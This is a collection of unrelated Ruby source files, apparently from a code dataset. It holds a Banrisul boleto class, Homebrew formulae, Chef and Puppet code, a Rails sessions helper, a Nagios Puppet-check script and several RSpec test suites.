:!= :<= :>= :< :>} _)) (send (const {nil? cbase} :ENV) :[] _) (send _ {:count :length :size} ...) (block (send _ {:count :length :size} ...) ...) } PATTERN end end end end
28.842857
79
0.525012
e9bc749a1e7ae0eda3aeaa97f2b95054f7456387
557
unified_mode true property :add_type, Hash, default: { 1 => 'text/html .shtml' }, description: '' property :add_output_filter, Hash, default: { 1 => 'INCLUDES .shtml' }, description: '' action :create do template ::File.join(apache_dir, 'mods-available', 'include.conf') do source 'mods/include.conf.erb' cookbook 'apache2' variables( add_type: new_resource.add_type, add_output_filter: new_resource.add_output_filter ) end end action_class do include Apache2::Cookbook::Helpers end
22.28
71
0.662478
2179e6a09e1ecae98983897e1355738717360df7
2,789
# -*- encoding: utf-8 -*- # module Brcobranca module Boleto class Banrisul < Base # Banrisul validates_length_of :agencia, maximum: 4, message: 'deve ser menor ou igual a 4 dígitos.' validates_length_of :conta_corrente, maximum: 8, message: 'deve ser menor ou igual a 8 dígitos.' validates_length_of :numero_documento, maximum: 8, message: 'deve ser menor ou igual a 8 dígitos.' validates_length_of :carteira, maximum: 1, message: 'deve ser menor ou igual a 1 dígitos.' validates_length_of :convenio, maximum: 7, message: 'deve ser menor ou igual a 7 dígitos.' def initialize(campos = {}) campos = { carteira: '2' }.merge!(campos) super(campos) end # Codigo do banco emissor (3 dígitos sempre) # # @return [String] 3 caracteres numéricos. def banco '041' end # Dígito verificador do banco # # @return [String] 1 caractere. def banco_dv '8' end # Agência # # @return [String] 4 caracteres numéricos. def agencia=(valor) @agencia = valor.to_s.rjust(4, '0') if valor end # Conta # # @return [String] 8 caracteres numéricos. def conta_corrente=(valor) @conta_corrente = valor.to_s.rjust(8, '0') if valor end # Número documento # # @return [String] 8 caracteres numéricos. def numero_documento=(valor) @numero_documento = valor.to_s.rjust(8, '0') if valor end # Número do convênio/contrato do cliente junto ao banco. # @return [String] 7 caracteres numéricos. def convenio=(valor) @convenio = valor.to_s.rjust(7, '0') if valor end # Nosso número para exibição no boleto. # # @return [String] caracteres numéricos. def nosso_numero_boleto "#{numero_documento}-#{numero_documento.duplo_digito}" end def agencia_conta_boleto "#{agencia} / #{convenio}" end # Posições 20 a 20 - Produto: # 1 Cobrança Normal, Fichário emitido pelo BANRISUL. # 2 Cobrança Direta, Fichário emitido pelo CLIENTE. # Posição 21 a 21 - Constante 1 # Posição 22 a 25 - Código da Agência, com quatro dígitos, sem o Número de Controle. # Posição 26 a 32 - Código de Cedente do Beneficiário sem Número de Controle. # Posição 33 a 40 - Nosso Número sem Número de Controle. # Posição 41 a 42 - Constante 40. # Posição 43 a 44 - Duplo Dígito referente às posições 20 a 42 (módulos 10 e 11). def codigo_barras_segunda_parte campo_livre = "#{carteira}1#{agencia}#{convenio}#{numero_documento}40" campo_livre + campo_livre.duplo_digito end end end end
32.811765
104
0.619218
6ad7db81ab71f0f568ed8a60b66ecfe0a892dadb
1,327
lib = File.expand_path('lib', __dir__) $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) require 'stravid/fraction/version' Gem::Specification.new do |spec| spec.name = 'stravid-fraction' spec.version = Stravid::Fraction::VERSION spec.authors = ['David Strauß'] spec.email = ['[email protected]'] spec.summary = 'Easy to use fraction value object.' spec.homepage = 'https://github.com/stravid/ruby-fraction' spec.license = 'MIT' spec.metadata['homepage_uri'] = spec.homepage spec.metadata['source_code_uri'] = 'https://github.com/stravid/ruby-fraction' spec.metadata['changelog_uri'] = 'https://github.com/stravid/ruby-fraction' # Specify which files should be added to the gem when it is released. # The `git ls-files -z` loads the files in the RubyGem that have been added into git. spec.files = Dir.chdir(File.expand_path('..', __FILE__)) do `git ls-files -z`.split("\x0").reject { |f| f.match(%r{^(test|spec|features)/}) } end spec.bindir = 'exe' spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) } spec.require_paths = ['lib'] spec.add_development_dependency 'bundler', '~> 2.0' spec.add_development_dependency 'rake', '~> 10.0' spec.add_development_dependency 'minitest', '5.13.0' end
41.46875
87
0.669932
217091c1dec27e4cdcfd4481cb85474a717274e8
1,286
class BoostBuild < Formula desc "C++ build system" homepage "https://www.boost.org/build/" url "https://github.com/boostorg/build/archive/2016.03.tar.gz" sha256 "1e79253a6ce4cadb08ac1c05feaef241cbf789b65362ba8973e37c1d25a2fbe9" head "https://github.com/boostorg/build.git" bottle do cellar :any_skip_relocation sha256 "6aed1a3d7dce1feefece8ea984967278da732fbe23292aca844cdd8c847bf63b" => :high_sierra sha256 "87c0d16831b948b198795c2d17b96d8d7a586c0775411c4b3097266fef09e52f" => :sierra sha256 "da756b55ac249c474a875ee4d2c57a49ec7331b08ee006cba5b2477883dbffee" => :el_capitan sha256 "59dfa2358b532c384a8ff452be4c09d7d4e085f3a0be8c3f859c60ff55830905" => :yosemite end conflicts_with "b2-tools", :because => "both install `b2` binaries" def install system "./bootstrap.sh" system "./b2", "--prefix=#{prefix}", "install" end test do (testpath/"hello.cpp").write <<~EOS #include <iostream> int main (void) { std::cout << "Hello world"; } EOS (testpath/"Jamroot.jam").write("exe hello : hello.cpp ;") system bin/"b2", "release" out = Dir["bin/darwin-*/release/hello"] assert out.length == 1 assert_predicate testpath/out[0], :exist? assert_equal "Hello world", shell_output(out[0]) end end
33.842105
93
0.722395
116a5adf8e4184d8de95b5d1c0a462c755d37278
1,842
# frozen_string_literal: true require 'spec_helper' RSpec.describe Dor::Workflow::Response::Process do let(:parent) { Dor::Workflow::Response::Workflow.new(xml: xml) } subject(:instance) { parent.process_for_recent_version(name: 'start-assembly') } describe '#pid' do subject { instance.pid } let(:xml) do <<~XML <workflow repository="dor" objectId="druid:mw971zk1113" id="assemblyWF"> <process name="start-assembly"> </workflow> XML end it { is_expected.to eq 'druid:mw971zk1113' } end describe '#workflow_name' do subject { instance.workflow_name } let(:xml) do <<~XML <workflow repository="dor" objectId="druid:mw971zk1113" id="assemblyWF"> <process name="start-assembly"> </workflow> XML end it { is_expected.to eq 'assemblyWF' } end describe '#repository' do before do allow(Deprecation).to receive(:warn) end subject { instance.repository } let(:xml) do <<~XML <workflow repository="dor" objectId="druid:mw971zk1113" id="assemblyWF"> <process name="start-assembly"> </workflow> XML end it { is_expected.to eq 'dor' } end describe '#name' do subject { instance.name } let(:xml) do <<~XML <workflow repository="dor" objectId="druid:mw971zk1113" id="assemblyWF"> <process name="start-assembly"> </workflow> XML end it { is_expected.to eq 'start-assembly' } end describe '#lane_id' do subject { instance.lane_id } let(:xml) do <<~XML <workflow repository="dor" objectId="druid:mw971zk1113" id="assemblyWF"> <process name="start-assembly" laneId="default"> </workflow> XML end it { is_expected.to eq 'default' } end end
23.615385
82
0.611835
f8732200d6aa93d693447541bec498e0d07d9ac1
2,934
require "spec_helper" describe 'Default URIs' do before(:each) {Spira.repository = RDF::Repository.new} context "classes with a base URI" do before :all do class ::BaseURITest < Spira::Base configure :base_uri => "http://example.org/example" property :name, :predicate => RDF::RDFS.label end class ::HashBaseURITest < Spira::Base configure :base_uri => "http://example.org/example#" property :name, :predicate => RDF::RDFS.label end end it "have a base URI method" do expect(BaseURITest).to respond_to :base_uri end it "have a correct base URI" do expect(BaseURITest.base_uri).to eql "http://example.org/example" end it "provide an id_for method" do expect(BaseURITest).to respond_to :id_for end it "provide a uri based on the base URI for string arguments" do expect(BaseURITest.id_for('bob')).to eql RDF::URI.new('http://example.org/example/bob') end it "use the string form of an absolute URI as an absolute URI" do uri = 'http://example.org/example/bob' expect(BaseURITest.id_for(uri)).to eql RDF::URI.new(uri) end it "allow any type to be used as a URI fragment, via to_s" do uri = 'http://example.org/example/5' expect(BaseURITest.id_for(5)).to eql RDF::URI.new(uri) end it "allow appending fragment RDF::URIs to base_uris" do expect(BaseURITest.for(RDF::URI('test')).subject.to_s).to eql 'http://example.org/example/test' end it "do not raise an exception to project with a relative URI" do expect {x = BaseURITest.for 'bob'}.not_to raise_error end it "return an absolute, correct RDF::URI from #uri when created with a relative uri" do test = BaseURITest.for('bob') expect(test.uri).to be_a RDF::URI expect(test.uri.to_s).to eql "http://example.org/example/bob" end it "save objects created with a relative URI as absolute URIs" do test = BaseURITest.for('bob') test.name = 'test' test.save! saved = BaseURITest.for('bob') expect(saved.name).to eql 'test' end it "do not append a / if the base URI ends with a #" do expect(HashBaseURITest.id_for('bob')).to eql RDF::URI.new('http://example.org/example#bob') end end context "classes without a base URI" do before :all do class ::NoBaseURITest < Spira::Base property :name, :predicate => RDF::RDFS.label end end it "have a base URI method" do expect(NoBaseURITest).to respond_to :base_uri end it "provide a id_for method" do expect(NoBaseURITest).to respond_to :id_for end it "have a nil base_uri" do expect(NoBaseURITest.base_uri).to be_nil end it "raise an ArgumentError when projected with a relative URI" do expect { x = NoBaseURITest.id_for('bob')}.to raise_error ArgumentError end end end
29.636364
101
0.653715
61f98ddb48aa622d0ddb109a6b1b97223becc828
647
# Be sure to restart your server when you modify this file. # Version of your assets, change this if you want to expire all your assets. Rails.application.config.assets.version = '1.0' # Add additional assets to the asset load path. # Rails.application.config.assets.paths << Emoji.images_path # Add Yarn node_modules folder to the asset load path. Rails.application.config.assets.paths << Rails.root.join('node_modules') # Precompile additional assets. # application.js, application.css, and all non-JS/CSS in the app/assets # folder are already added. Rails.application.config.assets.precompile += %w( site.js site.css github.js github.css )
43.133333
89
0.772798
d545899366e8ac92485d5ca8bad1b2875ff29cc3
393
require 'engineyard-cloud-client/models/api_struct' require 'engineyard-cloud-client/models/account' require 'engineyard-cloud-client/models/keypair' module EY class CloudClient class User < ApiStruct.new(:id, :name, :email) def accounts EY::CloudClient::Account.all(api) end def keypairs EY::CloudClient::Keypair.all(api) end end end end
21.833333
51
0.689567
e2ea63893a45985e4d996b65696c9a13b268bec9
3,151
# frozen_string_literal: true require 'spec_helper' RSpec.describe CommitEntity do let(:signature_html) { 'TEST' } let(:entity) do described_class.new(commit, request: request) end let(:request) { double('request') } let(:project) { create(:project, :repository) } let(:commit) { project.commit } subject { entity.as_json } before do render = double('render') allow(render).to receive(:call).and_return(signature_html) allow(request).to receive(:project).and_return(project) allow(request).to receive(:render).and_return(render) end context 'when commit author is a user' do before do create(:user, email: commit.author_email) end it 'contains information about user' do expect(subject.fetch(:author)).not_to be_nil end end context 'when commit author is not a user' do it 'does not contain author details' do expect(subject.fetch(:author)).to be_nil end end it 'contains path to commit' do expect(subject).to include(:commit_path) expect(subject[:commit_path]).to include "commit/#{commit.id}" end it 'contains URL to commit' do expect(subject).to include(:commit_url) expect(subject[:commit_path]).to include "commit/#{commit.id}" end it 'needs to receive project in the request' do expect(request).to receive(:project) .and_return(project) subject end it 'exposes gravatar url that belongs to author' do expect(subject.fetch(:author_gravatar_url)).to match /gravatar/ end context 'when type is not set' do it 'does not expose extra properties' do expect(subject).not_to include(:description_html) expect(subject).not_to include(:title_html) end end context 'when type is "full"' do let(:entity) do described_class.new(commit, request: request, type: :full, pipeline_ref: project.default_branch, pipeline_project: project) end it 'exposes extra properties' do expect(subject).to include(:description_html) expect(subject).to include(:title_html) expect(subject.fetch(:description_html)).not_to be_nil expect(subject.fetch(:title_html)).not_to be_nil end context 'when commit has signature' do let(:commit) { project.commit(TestEnv::BRANCH_SHA['signed-commits']) } it 'exposes "signature_html"' do expect(request.render).to receive(:call) expect(subject.fetch(:signature_html)).to be signature_html end end context 'when commit has pipeline' do before do create(:ci_pipeline, project: project, sha: commit.id) end it 'exposes "pipeline_status_path"' do expect(subject.fetch(:pipeline_status_path)).not_to be_nil end end end context 'when commit_url_params is set' do let(:entity) do params = { merge_request_iid: 3 } described_class.new(commit, request: request, commit_url_params: params) end it 'adds commit_url_params to url and path' do expect(subject[:commit_path]).to include "?merge_request_iid=3" expect(subject[:commit_url]).to include "?merge_request_iid=3" end end end
27.640351
129
0.690574
7adc304d2ba3c913448db34d115a146d2ceba2ad
2,265
module SessionsHelper # Logs in the given user def log_in(user) session[:user_id] = user.id end # Remembers a user in a persistent session def remember(user) user.remember cookies.permanent.signed[:user_id] = user.id cookies.permanent[:remember_token] = user.remember_token end # Returns true if the given user is the current user def current_user?(user) user == current_user end # Returns the user corresponding to the remember token cookie def current_user if (user_id = session[:user_id]) @current_user ||= User.find_by(id: user_id) elsif (user_id = cookies.signed[:user_id]) # raise # the tests still pass, so this branch is still untested user = User.find_by(id: user_id) if user && user.authenticated?(cookies[:remember_token]) log_in user @current_user = user end end end # # Returns the current Logged-in user (if any) # def current_user # @current_user ||= User.find_by(id: session[:user_id]) # end # Returns the current logged-in user(if any) def current_user if(user_id = session[:user_id]) @current_user ||= User.find_by(id: user_id) elsif (user_id = cookies.signed[:user_id]) user = User.find_by(id: user_id) if user && user.authenticated?(:remember, cookies[:remember_token]) log_in user @current_user = user end end end # Returns true if the user is Logged in, otherwise it is false def logged_in? !current_user.nil? end # log out user def log_out session.delete(:user_id) @current_user = nil end # Forgets a persistent session def forget(user) user.forget cookies.delete(:user_id) cookies.delete(:remember_token) end # Logs out the current user def log_out forget(current_user) session.delete(:user_id) @current_user = nil end # # Redirects to stored location (or to the default) # def redirect_back_or(default) # redirect_to(session[:forwarding_url] || default) # session.delete(:forwarding_url) # end # # Stores the URL trying to be accessed # def store_location # session[:forwarding_url] = request.original_url if request.get? # end end
23.350515
73
0.663576
875c808c653f9bf81d731d5c956d599c073ea8ed
1,261
require_relative 'boot' require "rails" # Pick the frameworks you want: require "active_model/railtie" require "active_job/railtie" # require "active_record/railtie" # require "active_storage/engine" require "action_controller/railtie" # require "action_mailer/railtie" require "action_view/railtie" # require "action_cable/engine" # require "sprockets/railtie" require "rails/test_unit/railtie" # Require the gems listed in Gemfile, including any gems # you've limited to :test, :development, or :production. Bundler.require(*Rails.groups) module SecondExercise class Application < Rails::Application # Initialize configuration defaults for originally generated Rails version. config.load_defaults 5.2 # Settings in config/environments/* take precedence over those specified here. # Application configuration can go into files in config/initializers # -- all .rb files in that directory are automatically loaded after loading # the framework and any gems in your application. # Only loads a smaller set of middleware suitable for API only apps. # Middleware like session, flash, cookies can be added back manually. # Skip views, helpers and assets when generating a new resource. config.api_only = true end end
35.027778
82
0.770817
e8e3987413481e6951f5012600e9de68cd90ea23
133
require 'rails_helper' RSpec.describe EvaluatorWorker, type: :worker do pending "add some examples to (or delete) #{__FILE__}" end
26.6
56
0.766917
b90c6e3b98bd047aa596f2192a0aec6747c100f1
2,586
#!/usr/bin/env ruby require 'optparse' require 'sys/proctable' include Sys class CheckPuppet VERSION = '0.1' script_name = File.basename($0) # default options OPTIONS = { :statefile => "/opt/puppetlabs/puppet/cache/state/state.yaml", :process => "puppet", :interval => 30, } OptionParser.new do |o| o.set_summary_indent(' ') o.banner = "Usage: #{script_name} [OPTIONS]" o.define_head "The check_puppet Nagios plug-in checks that specified Puppet process is running and the state file is no older than specified interval." o.separator "" o.separator "Mandatory arguments to long options are mandatory for short options too." o.on( "-s", "--statefile=statefile", String, "The state file", "Default: #{OPTIONS[:statefile]}") { |op| OPTIONS[:statefile] = op } o.on( "-p", "--process=processname", String, "The process to check", "Default: #{OPTIONS[:process]}") { |op| OPTIONS[:process] = op } o.on( "-i", "--interval=value", Integer, "Default: #{OPTIONS[:interval]} minutes") { |op| OPTIONS[:interval] = op } o.separator "" o.on_tail("-h", "--help", "Show this help message.") do puts o exit end o.parse!(ARGV) end def check_proc unless ProcTable.ps.find { |p| p.name == OPTIONS[:process]} @proc = 2 else @proc = 0 end end def check_state # Set variables curt = Time.now intv = OPTIONS[:interval] * 60 # Check file time begin @modt = File.mtime("#{OPTIONS[:statefile]}") rescue @file = 3 end diff = (curt - @modt).to_i if diff > intv @file = 2 else @file = 0 end end def output_status case @file when 0 state = "state file status okay updated on " + @modt.strftime("%m/%d/%Y at %H:%M:%S") when 2 state = "state fille is not up to date and is older than #{OPTIONS[:interval]} minutes" when 3 state = "state file status unknown" end case @proc when 0 process = "process #{OPTIONS[:process]} is running" when 2 process = "process #{OPTIONS[:process]} is not running" end case when (@proc == 2 or @file == 2) status = "CRITICAL" exitcode = 2 when (@proc == 0 and @file == 0) status = "OK" exitcode = 0 else status = "UNKNOWN" exitcode = 3 end puts "PUPPET #{status}: #{process}, #{state}" exit(exitcode) end end cp = CheckPuppet.new cp.check_proc cp.check_state cp.output_status
20.854839
155
0.583527
f8df1a61412de6ea0d4ae8b104c761b1529da30b
8,115
require 'puppet' require 'facter' require 'facterdb' require 'json' require 'mcollective' # The purpose of this module is to simplify the Puppet # module's RSpec tests by looping through all supported # OS'es and their facts data which is received from the FacterDB. module RspecPuppetFacts # Use the provided options or the data from the metadata.json file # to find a set of matching facts in the FacterDB. # OS names and facts can be used in the Puppet RSpec tests # to run the examples against all supported facts combinations. # # The list of received OS facts can also be filtered by the SPEC_FACTS_OS # environment variable. For example, if the variable is set to "debian" # only the OS names which start with "debian" will be returned. It allows a # user to quickly run the tests only on a single facts set without any # file modifications. # # @return [Hash <String => Hash>] # @param [Hash] opts # @option opts [String,Array<String>] :hardwaremodels The OS architecture names, i.e. x86_64 # @option opts [Array<Hash>] :supported_os If this options is provided the data # will be used instead of the "operatingsystem_support" section if the metadata file # even if the file is missing. def on_supported_os(opts = {}) opts[:hardwaremodels] ||= ['x86_64'] opts[:hardwaremodels] = [opts[:hardwaremodels]] unless opts[:hardwaremodels].is_a? Array opts[:supported_os] ||= RspecPuppetFacts.meta_supported_os filter = [] opts[:supported_os].map do |os_sup| if os_sup['operatingsystemrelease'] os_sup['operatingsystemrelease'].map do |operatingsystemmajrelease| opts[:hardwaremodels].each do |hardwaremodel| if os_sup['operatingsystem'] =~ /BSD/i hardwaremodel = 'amd64' elsif os_sup['operatingsystem'] =~ /Solaris/i hardwaremodel = 'i86pc' elsif os_sup['operatingsystem'] =~ /Windows/i hardwaremodel = 'x64' end filter << { :facterversion => "/^#{Facter.version[0..2]}/", :operatingsystem => os_sup['operatingsystem'], :operatingsystemrelease => "/^#{operatingsystemmajrelease.split(' ')[0]}/", :hardwaremodel => hardwaremodel, } end end else opts[:hardwaremodels].each do |hardwaremodel| filter << { :facterversion => "/^#{Facter.version[0..2]}/", :operatingsystem => os_sup['operatingsystem'], :hardwaremodel => hardwaremodel, } end end end received_facts = FacterDB::get_facts(filter) unless received_facts.any? RspecPuppetFacts.warning "No facts were found in the FacterDB for: #{filter.inspect}" return {} end os_facts_hash = {} received_facts.map do |facts| # Fix facter bug if facts[:operatingsystem] == 'Ubuntu' operatingsystemmajrelease = facts[:operatingsystemrelease].split('.')[0..1].join('.') elsif facts[:operatingsystem] == 'OpenBSD' operatingsystemmajrelease = facts[:operatingsystemrelease] else if facts[:operatingsystemmajrelease].nil? operatingsystemmajrelease = facts[:operatingsystemrelease].split('.')[0] else operatingsystemmajrelease = facts[:operatingsystemmajrelease] end end os = "#{facts[:operatingsystem].downcase}-#{operatingsystemmajrelease}-#{facts[:hardwaremodel]}" next unless os.start_with? RspecPuppetFacts.spec_facts_os_filter if RspecPuppetFacts.spec_facts_os_filter facts.merge! RspecPuppetFacts.common_facts os_facts_hash[os] = RspecPuppetFacts.with_custom_facts(os, facts) end os_facts_hash end # Register a custom fact that will be included in the facts hash. # If it should be limited to a particular OS, pass a :confine option # that contains the operating system(s) to confine to. If it should # be excluded on a particular OS, use :exclude. # # @param [String] name Fact name # @param [String,Proc] value Fact value. If proc, takes 2 params: os and facts hash # @param [Hash] opts # @option opts [String,Array<String>] :confine The applicable OS's # @option opts [String,Array<String>] :exclude OS's to exclude # def add_custom_fact(name, value, options = {}) options[:confine] = [options[:confine]] if options[:confine].is_a?(String) options[:exclude] = [options[:exclude]] if options[:exclude].is_a?(String) RspecPuppetFacts.register_custom_fact(name, value, options) end # Adds a custom fact to the @custom_facts variable. # # @param [String] name Fact name # @param [String,Proc] value Fact value. If proc, takes 2 params: os and facts hash # @param [Hash] opts # @option opts [String,Array<String>] :confine The applicable OS's # @option opts [String,Array<String>] :exclude OS's to exclude # @api private def self.register_custom_fact(name, value, options) @custom_facts ||= {} @custom_facts[name.to_s] = {:options => options, :value => value} end # Adds any custom facts according to the rules defined for the operating # system with the given facts. # @param [String] os Name of the operating system # @param [Hash] facts Facts hash # @return [Hash] facts Facts hash with custom facts added # @api private def self.with_custom_facts(os, facts) return facts unless @custom_facts @custom_facts.each do |name, fact| next if fact[:options][:confine] && !fact[:options][:confine].include?(os) next if fact[:options][:exclude] && fact[:options][:exclude].include?(os) facts[name] = fact[:value].respond_to?(:call) ? fact[:value].call(os, facts) : fact[:value] end facts end # If provided this filter can be used to limit the set # of retrieved facts only to the matched OS names. # The value is being taken from the SPEC_FACTS_OS environment # variable and # @return [nil,String] # @api private def self.spec_facts_os_filter ENV['SPEC_FACTS_OS'] end # These facts are common for all OS'es and will be # added to the facts retrieved from the FacterDB # @api private # @return [Hash <Symbol => String>] def self.common_facts return @common_facts if @common_facts @common_facts = { :mco_version => MCollective::VERSION, :puppetversion => Puppet.version, :rubysitedir => RbConfig::CONFIG['sitelibdir'], :rubyversion => RUBY_VERSION, } if Puppet.features.augeas? @common_facts[:augeasversion] = Augeas.open(nil, nil, Augeas::NO_MODL_AUTOLOAD).get('/augeas/version') end @common_facts end # Get the "operatingsystem_support" structure from # the parsed metadata.json file # @raise [StandardError] if there is no "operatingsystem_support" # in the metadata # @return [Array<Hash>] # @api private def self.meta_supported_os unless metadata['operatingsystem_support'].is_a? Array fail StandardError, 'Unknown operatingsystem support in the metadata file!' end metadata['operatingsystem_support'] end # Read the metadata file and parse # its JSON content. # @raise [StandardError] if the metadata file is missing # @return [Hash] # @api private def self.metadata return @metadata if @metadata unless File.file? metadata_file fail StandardError, "Can't find metadata.json... dunno why" end content = File.read metadata_file @metadata = JSON.parse content end # This file contains the Puppet module's metadata # @return [String] # @api private def self.metadata_file 'metadata.json' end # Print a warning message to the console # @param message [String] # @api private def self.warning(message) STDERR.puts message end # Reset the memoization # to make the saved structures # be generated again # @api private def self.reset @custom_facts = nil @common_facts = nil @metadata = nil end end
36.227679
111
0.668022
39b337a0869d8dbb71d87f42bf6d14a77e02352b
224
class AddUuidToCurrencyAliases < ActiveRecord::Migration def change add_column :currency_aliases, :uuid, :uuid, null: false, default: 'uuid_generate_v4()' add_index :currency_aliases, :uuid, unique: true end end
32
90
0.758929
03e34ffcec2bbdd5aa9dfd39ab337040790509e6
514
cask 'papers' do version '3.4.7,527' sha256 'a3772fad2fc4c5c273b597e136d7ba07e9f19c88b401d481f760697beb70ebe4' url "http://appcaster.papersapp.com/apps/mac/production/download/#{version.after_comma}/papers_#{version.before_comma.no_dots}_#{version.after_comma}.dmg" appcast 'https://appcaster.papersapp.com/apps/mac/production/appcast.xml', checkpoint: 'c35a04f02091fbcaf519185678a234c6e034d798561b19c7af4f0c590648450f' name 'Papers' homepage 'http://papersapp.com/' app 'Papers.app' end
39.538462
156
0.785992
113e96a58f6296eb50aa4352e2a15bed3a923fec
3,193
Puppet::Parser::Functions::newfunction( :foreach, :type => :rvalue, :arity => 2, :doc => <<-'ENDHEREDOC') do |args| Applies a parameterized block to each element in a sequence of selected entries from the first argument and returns the first argument. This function takes two mandatory arguments: the first should be an Array or a Hash, and the second a parameterized block as produced by the puppet syntax: $a.foreach {|$x| ... } When the first argument is an Array, the parameterized block should define one or two block parameters. For each application of the block, the next element from the array is selected, and it is passed to the block if the block has one parameter. If the block has two parameters, the first is the elements index, and the second the value. The index starts from 0. $a.foreach {|$index, $value| ... } When the first argument is a Hash, the parameterized block should define one or two parameters. When one parameter is defined, the iteration is performed with each entry as an array of `[key, value]`, and when two parameters are defined the iteration is performed with key and value. $a.foreach {|$entry| ..."key ${$entry[0]}, value ${$entry[1]}" } $a.foreach {|$key, $value| ..."key ${key}, value ${value}" } - Since 3.2 - requires `parser = future`. ENDHEREDOC require 'puppet/parser/ast/lambda' def foreach_Array(o, scope, pblock) return nil unless pblock serving_size = pblock.parameter_count if serving_size == 0 raise ArgumentError, "Block must define at least one parameter; value." end if serving_size > 2 raise ArgumentError, "Block must define at most two parameters; index, value" end enumerator = o.each index = 0 if serving_size == 1 (o.size).times do pblock.call(scope, enumerator.next) end else (o.size).times do pblock.call(scope, index, enumerator.next) index = index +1 end end o end def foreach_Hash(o, scope, pblock) return nil unless pblock serving_size = pblock.parameter_count case serving_size when 0 raise ArgumentError, "Block must define at least one parameter (for hash entry key)." when 1 when 2 else raise ArgumentError, "Block must define at most two parameters (for hash entry key and value)." end enumerator = o.each_pair if serving_size == 1 (o.size).times do pblock.call(scope, enumerator.next) end else (o.size).times do pblock.call(scope, *enumerator.next) end end o end raise ArgumentError, ("foreach(): wrong number of arguments (#{args.length}; must be 2)") if args.length != 2 receiver = args[0] pblock = args[1] raise ArgumentError, ("foreach(): wrong argument type (#{args[1].class}; must be a parameterized block.") unless pblock.is_a? Puppet::Parser::AST::Lambda case receiver when Array foreach_Array(receiver, self, pblock) when Hash foreach_Hash(receiver, self, pblock) else raise ArgumentError, ("foreach(): wrong argument type (#{args[0].class}; must be an Array or a Hash.") end end
33.260417
155
0.674601
79e1eae1005f44429845bece3377dbf3de7b31e1
446
require 'spec_helper' require 'hamster/list' describe Hamster::List do describe "#to_list" do [ [], ["A"], ["A", "B", "C"], ].each do |values| describe "on #{values.inspect}" do before do @original = Hamster.list(*values) @result = @original.to_list end it "returns self" do @result.should equal(@original) end end end end end
13.515152
43
0.508969